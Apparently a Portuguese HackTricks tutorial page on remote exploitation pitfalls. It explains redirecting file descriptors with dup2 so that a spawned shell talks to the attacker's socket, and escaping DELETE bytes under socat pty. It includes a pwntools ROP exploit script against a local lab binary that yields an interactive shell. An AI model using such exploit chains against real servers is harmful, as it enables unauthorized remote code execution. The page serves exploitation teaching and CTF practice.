3.8 KiB
Problemas Comuns de Exploração
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.
FDs na Exploração Remota
Ao enviar um exploit para um servidor remoto que chama system('/bin/sh')
por exemplo, isso será executado no processo do servidor, e /bin/sh
esperará entrada do stdin (FD: 0
) e imprimirá a saída no stdout e stderr (FDs 1
e 2
). Portanto, o atacante não poderá interagir com o shell.
Uma maneira de corrigir isso é supor que quando o servidor foi iniciado, ele criou o FD número 3
(para escuta) e que então, sua conexão estará no FD número 4
. Portanto, é possível usar a syscall dup2
para duplicar o stdin (FD 0) e o stdout (FD 1) no FD 4 (o da conexão do atacante) para que seja viável contatar o shell uma vez que ele seja executado.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Note que o socat já transfere stdin
e stdout
para o socket. No entanto, o modo pty
inclui caracteres DELETE. Portanto, se você enviar um \x7f
( DELETE
-) ele deletará o caractere anterior do seu exploit.
Para contornar isso, o caractere de escape \x16
deve ser precedido a qualquer \x7f
enviado.
Aqui você pode encontrar um exemplo desse comportamento.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.